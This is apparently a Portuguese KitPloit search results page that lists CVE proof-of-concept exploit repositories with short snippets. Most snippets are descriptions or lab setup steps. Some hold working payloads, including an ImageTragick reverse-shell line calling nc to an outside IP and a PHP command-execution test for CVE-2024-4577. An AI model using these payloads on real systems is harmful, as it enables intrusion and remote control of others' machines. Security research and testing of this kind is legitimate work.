268337 matches found
cve-2024-4577
cve-2024-4577 poc Verifique se há vulnerabilidades python cve-2024-4577.py -u http://172.16.128.133 Após a detecção de uma vulnerabilidade, você pode usar -c para executar um comando personalizado python cve-2024-4577.py -u http://172.16.128.133 -c '?php system'whoami';'...
CVE-2024-6387-how-to-fix
CVE-2024-6387-como-corrigir Remediação e mitigação de vulnerabilidade CVE-2024-6387 CVE-2024-6387: Vulnerabilidade Crítica de RCE no OpenSSH 'regreSSHion' Meu artigo no LinkedIn Detalhes da CVE Descrição A Qualys Threat Research Unit TRU detalhou uma grave falha de segurança chamada 'regreSSHion'...
CVE-2019-3396
CVE-2019-3396 Path traversal do Confluence Widget Connector CVE-2019-3396 PoC de RCE root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...
cve-2022-42889-text4shell
Instalar maven - maven-linux 1. Instalar o Maven para criar o fat jar root@kitploit: mvn clean install 2. Build do Docker root@kitploit: docker build --tag=text4shell . 3. Executar o Docker root@kitploit: docker run -p 80:8080 text4shell 4. Testar o aplicativo root@kitploit:...
PDFkit-CMD-Injection
PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 injeção de comando. O pacote pdfkit é vulnerável a Injeção de Comando Command Injection, pois a URL não é devidamente sanitizada. Nota: Este problema foi corrigido na versão 0.8.7.2, mas descobriu-se que a correção era ineficaz. A versão corrigida...
CVE-2021-22192
CVE-2021-22192 Laboratório CVE-2021-22192: vulnerabilidade de RCE por usuário não autorizado 0x10 Ambiente do laboratório 0x20 Estrutura de diretórios root@kitploit: CVE-2021-22192 ├── README.md ............... 此 README 说明 ├── imgs .................... 辅助 README 说明的图片 ├── gitlab...
CVE-2007-2447-RCE
Este exploit ajuda você a obter um reverse shell, explorando o Samba 3.0.20 3.0.25 · Ao executar o script com python3 com o parâmetro --help, ele nos pede uma série de parâmetros root@kitploit: --lhost LHOST seu host ip onde o shell será recebido --lport LPORT sua porta porta onde o shell será...
POC-CVE-2018-10933
POC-CVE-2018-10933 Exploit de Bypass de Autenticação do LibSSH usando RCE Referências do código Repositório Git do exemplo https://www.youtube.com/watch?v=ZSWQjmfcn4g Mais informações sobre a vulnerabilidade https://www.libssh.org/security/advisories/CVE-2018-10933.txt...
CVE-2023-32315-java7-
CVE-2023-32315 0x01 Obter o JSESSIONID e csrftoken retornados, construir pacote de solicitação para adicionar usuário substituir JSESSIONID, csrftoken img.png root@kitploit: cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 Compilação e instalaç...
CVE-2022-30190
CVE-2022-30190 Orientação para a vulnerabilidade da Ferramenta de Diagnóstico do Suporte da Microsoft CVE-2022-30190 MSRC / Por msrc / 30 de maio de 2022 Na segunda-feira, 30 de maio de 2022, a Microsoft emitiu o CVE-2022-30190 referente à vulnerabilidade da Ferramenta de Diagnóstico do Suporte d...
CVE-2021-3129_exploit
CVE-2021-3129exploit Exploit para CVE-2021-3129 Configuração do laboratório: root@kitploit: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve Uso: root@kitploit: $ git clone...
CVE-2017-12617
CVE-2017-12617 CVE-2017-12617 é uma vulnerabilidade crítica de execução remota de código RCE descoberta no Apache Tomcat Os sistemas com HTTP PUTs habilitados através da definição do parâmetro de inicialização "read-only" do Default servlet para "false" são afetados. As versões do Tomcat anterior...
CVE-2026-21643
🚨 CVE-2026-21643 "FortiGhost" : Injeção SQL Pré-Autenticação com RCE no FortiClientEMS Injeção SQL não autenticada no FortiClientEMS 7.4.4 Possível execução remota de código por meio de solicitações HTTP especialmente criadas para a GUI administrativa 📋 Visão Geral CVE-2026-21643 é uma...
ImageTragick_Poc
ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...
tivoli-poc
tivoli-poc Código PoC do CVE-2017-1635 CVEID: CVE-2017-1635 Pontuação Base CVSS: 8 Produtos e versões afetados: componente KDH dos serviços básicos do IBM Tivoli Monitoring KGL,KAX para as versões 6.2.2.0 a 6.2.2.9 Existe uma vulnerabilidade no servidor web interno fornecido pelos serviços básico...
CVE-2023-27163-AND-Mailtrail-v0.53
Exploit Automático Resumo O seguinte exploit abusa da vulnerabilidade de SSRF no Requests Baskets v1.2.1 para encaminhar a aplicação interna que executa em 127.0.0.1:80 para a aplicação externa em /pwned. Uma vez que a aplicação Mailtrail v0.53 tenha sido encaminhada, ele executará um comando de...
CVE-2025-1302
CVE-2025-1302 ★ CVE-2025-1302 PoC de RCE do JSONPath-plus ★ https://github.com/user-attachments/assets/5d791540-ef6c-4cd0-bd25-7a1dbbd194fb Configuração do Laboratório root@kitploit: docker build -t jsonpath:10.2.0 . docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0 localhost:3000...
GPON
RCE em roteadores residenciais GPON CVE-2018-10561 Vulnerabilidade Muitos roteadores hoje usam internet GPON, e uma maneira de contornar toda a autenticação nos dispositivos CVE-2018-10561 foi encontrada pela VPNMentor. Com esse bypass de autenticação, também é possível revelar outra...
CVE-2025-59528
CVE-2025-59528: Prova de Conceito de Execução Remota de Código no Flowise CustomMCP Uma prova de conceito em Go para CVE-2025-59528 direcionada às versões do Flowise = 3.0.5. Resumo O Flowise permite a execução de JavaScript não validado por meio da configuração do nó CustomMCP. A aplicação passa...